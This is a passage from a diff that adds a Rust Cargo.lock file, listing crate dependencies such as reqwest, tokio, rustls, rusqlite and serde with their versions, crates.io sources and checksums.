+ "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +dependencies = [ + "equivalent", + "hashbrown 0.17.1", +] + +[[package]] +name = "inotify" +version = "0.11.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "153be1941a183ec9ccd095ddbe17a8b8d435ef6c76e9e02451b933c3999af2c8" +dependencies = [ + "bitflags", + "inotify-sys", + "libc", +] + +[[package]] +name = "inotify-sys" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c033f80b2c113cdf91ab7a33faa9cbc014726dcad99880c8609af2a370edf37d" +dependencies = [ + "libc", +] + +[[package]] +name = "ipnet" +version = "2.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a756c3fac73139e83f14c2d742155dd2b78d3ee56597b419a0579b7bdd6dd78" + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "js-sys" +version = "0.3.103" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53b44bfcdb3f8d5837a46dae1ca9660a837176eee74a28b229bc626816589102" +dependencies = [ + "cfg-if", + "futures-util", + "wasm-bindgen", +] + +[[package]] +name = "kqueue" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "273c0752728918e0ac4976f2b275b6fefb9ecd400585dec929419f3844cd87b5" +dependencies = [ + "kqueue-sys", + "libc", +] + +[[package]] +name = "kqueue-sys" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07293a4e297ac234359b510362495713f75ea345d5307140414f20c69ffeb087" +dependencies = [ + "bitflags", + "libc", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.189" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" + +[[package]] +name = "libsqlite3-sys" +version = "0.38.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6c19a05435c21ac299d71b6a9c13db3e3f47c520517d58990a462a1397a61db" +dependencies = [ + "cc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0" + +[[package]] +name = "log" +version = "0.4.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad" + +[[package]] +name = "lru-slab" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154" + +[[package]] +name = "matchers" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "mio" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30d65c71f1ce40ab09135ce117d742b9f8a19ff91a41a8b57ed50bc2de59c427" +dependencies = [ + "libc", + "log", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "notify" +version = "8.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d3d07927151ff8575b7087f245456e549fea62edf0ec4e565a5ee50c8402bc3" +dependencies = [ + "bitflags", + "fsevent-sys", + "inotify", + "kqueue", + "libc", + "log", + "mio", + "notify-types", + "walkdir", + "windows-sys 0.60.2", +] + +[[package]] +name = "notify-types" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42b8cfee0e339a0337359f3c88165702ac6e600dc01c0cc9579a92d62b08477a" +dependencies = [ + "bitflags", +] + +[[package]] +name = "num-conv" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521739c6d2bac4aa25192232afe6841231376b2b26d4d9fae5ecf8ca5772e441" + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91df4bbde75afed763b708b7eee1e8e7651e02d97f6d5dd763e89367e957b23b" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pkg-config" +version = "0.3.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e" + +[[package]] +name = "potential_utf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564" +dependencies = [ + "zerovec", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "proptest" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b45fcc2344c680f5025fe57779faef368840d0bd1f42f216291f0dc4ace4744" +dependencies = [ + "bit-set", + "bit-vec", + "bitflags", + "num-traits", + "rand 0.9.5", + "rand_chacha", + "rand_xorshift", + "regex-syntax", + "rusty-fork", + "tempfile", + "unarray", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + +[[package]] +name = "quinn" +version = "0.11.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8" +dependencies = [ + "bytes", + "cfg_aliases", + "pin-project-lite", + "quinn-proto", + "quinn-udp", + "rustc-hash", + "rustls", + "socket2", + "thiserror", + "tokio", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-proto" +version = "0.11.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f4bfc015262b9df63c8845072ce59068853ff5872180c2ce2f13038b970e560" +dependencies = [ + "bytes", + "getrandom 0.4.3", + "lru-slab", + "rand 0.10.2", + "rand_pcg", + "ring", + "rustc-hash", + "rustls", + "rustls-pki-types", + "slab", + "thiserror", + "tinyvec", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-udp" +version = "0.5.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694" +dependencies = [ + "cfg_aliases", + "libc", + "once_cell", + "socket2", + "tracing", + "windows-sys 0.61.2", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9ef1d0d795eb7d84685bca4f72f3649f064e6641543d3a8c415898726a57b41" +dependencies = [ + "rand_chacha", + "rand_core 0.9.5", +] + +[[package]] +name = "rand" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7f5fa3a058cd35567ef9bfa5e75732bee0f9e4c55fa90477bef2dfcdbc4be80" +dependencies = [ + "chacha20", + "getrandom 0.4.3", + "rand_core 0.10.1", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.4", +] + +[[package]] +name = "rand_core" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" + +[[package]] +name = "rand_pcg" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caa0f4137e1c0a72f4c651489402276c8e8e1cf081f3b0ba156d2cbeef09e86a" +dependencies = [ + "rand_core 0.10.1", +] + +[[package]] +name = "rand_xorshift" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "513962919efc330f829edb2535844d1b912b0fbe2ca165d613e4e8788bb05a5a" +dependencies = [ + "rand_core 0.9.5", +] + +[[package]] +name = "regex" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fcfdb36bda0c880c5931cdc7a2bcdc8ba4556847b9d912bca70bc94708711ad" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "reqwest" +version = "0.12.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" +dependencies = [ + "base64", + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-util", + "js-sys", + "log", + "percent-encoding", + "pin-project-lite", + "quinn", + "rustls", + "rustls-pki-types", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-rustls", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "webpki-roots", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rsqlite-vfs" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c51c9ae4df8a7fba42103df5c621fa3c37eccf3a3c650879e90fc48b11cc192c" +dependencies = [ + "hashbrown 0.16.1", + "thiserror", +] + +[[package]] +name = "rusqlite" +version = "0.40.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11438310b19e3109b6446c33d1ed5e889428cf2e278407bc7896bc4aaea43323" +dependencies = [ + "bitflags", + "fallible-iterator", + "fallible-streaming-iterator", + "hashlink", + "libsqlite3-sys", + "smallvec", + "sqlite-wasm-rs", +] + +[[package]] +name = "rustc-hash" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0283386ce02abc0151e1761d08802dfe86c173b0b494af5cbc086574e453da06" +dependencies = [ + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f4925028c7eb5d1fcdaf196971378ed9d2c1c4efc7dc5d011256f76c99c0a96" +dependencies = [ + "web-time", + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" + +[[package]] +name = "rusty-fork" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6bf79ff24e648f6da1f8d1f011e9cac26491b619e6b9280f2b47f1774e6ee2" +dependencies = [ + "fnv", + "quick-error", + "tempfile", + "wait-timeout", +] + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "serde_json" +version = "1.0.151" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_spanned" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6662b5879511e06e8999a8a235d848113e942c9124f211511b16466ee2995f26" +dependencies = [ + "serde_core", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ed6a63f02c8539c91a8685a86f4099661ba3da017932f6ebbea6de3f0fa7c90" + +[[package]] +name = "socket2" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "sqlite-wasm-rs" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc3efc0da82635d7e1ced0053bbbfa8c7ab9645d0bf36ceb4f7127bb85315d75" +dependencies = [ + "cc", + "js-sys", + "rsqlite-vfs", + "wasm-bindgen", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.3", + "once_cell", + "rustix", + "windows-sys 0.61.2", +] + +[[package]] +name = "thiserror" +version = "2.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09a43598840e33d5b0331f38c5e30d13bb11c11210a4b58f0d9b18a5a5eefcd9" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43cbfe0cf76104d42a574802844187e84a305e531ed54455f11fbde0f10541cd" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "thread_local" +version = "1.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad99c4c6d32803332c548b1af0540b357b3f5fc0be8f6c6bfe8b2e6ae784070" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "time" +version = "0.3.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdb87b95ec50ddfa440816d227a17b2ccbdda963a316a727fda0fc4334f7d134" +dependencies = [ + "deranged", + "num-conv", + "powerfmt", + "serde_core", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1c906769ad99c88eaa54e728060edef082f8e358ff32030cb7c7d315e81109" + +[[package]] +name = "time-macros" +version = "0.2.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e689342a48d2ea927c87ea50cabf8594854bf940e9310208848d680d668ed85" +dependencies = [ + "num-conv", + "time-core", +] + +[[package]] +name = "tinystr" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb4ebadaa0af04fab11ae01eb5f9fdb5f9c5b875506e210e71c07873528baa7f" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "202caea871b69668250d242070849eb495be178ed697a3e98aebce5bc81a0bed" +dependencies = [ + "bytes", + "libc", + "mio", + "pin-project-lite", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78773a2a397f451582ce068015985c33193cf6dea8b74d2a639fe457b2f07b0e" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "494815d09bf52b5548659851081238f0ca39ff638363907596da739561c62c52" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "libc", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "toml" +version = "1.1.4+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3aace63f4bbcdfc2c965b059de67119c89c4017a70d633be6c104910f67056f5" +dependencies = [ + "indexmap", + "serde_core", + "serde_spanned", + "toml_datetime", + "toml_parser", + "toml_writer", + "winnow", +] + +[[package]] +name = "toml_datetime" +version = "1.1.1+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3165f65f62e28e0115a00b2ebdd37eb6f3b641855f9d636d3cd4103767159ad7" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_parser" +version = "1.1.3+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d38ac1cf9b95face32296c0a3ede1fdc270627c9d9c02a7274dd6d960dc4d56" +dependencies = [ + "winnow", +] + +[[package]] +name = "toml_writer" +version = "1.1.2+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d56353a2a665ad0f41a421187180aab746c8c325620617ad883a99a1cbe66d2" + +[[package]] +name = "tower" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", +] + +[[package]] +name = "tower-http" +version = "0.6.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840" +dependencies = [ + "bitflags", + "bytes", + "futures-util", + "http", + "http-body", + "pin-project-lite", + "tower", + "tower-layer", + "tower-service", + "url", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319" +dependencies = [ + "matchers", + "once_cell", + "regex-automata", + "sharded-slab", + "thread_local", + "tracing", + "tracing-core", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unarray" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.5" +source = 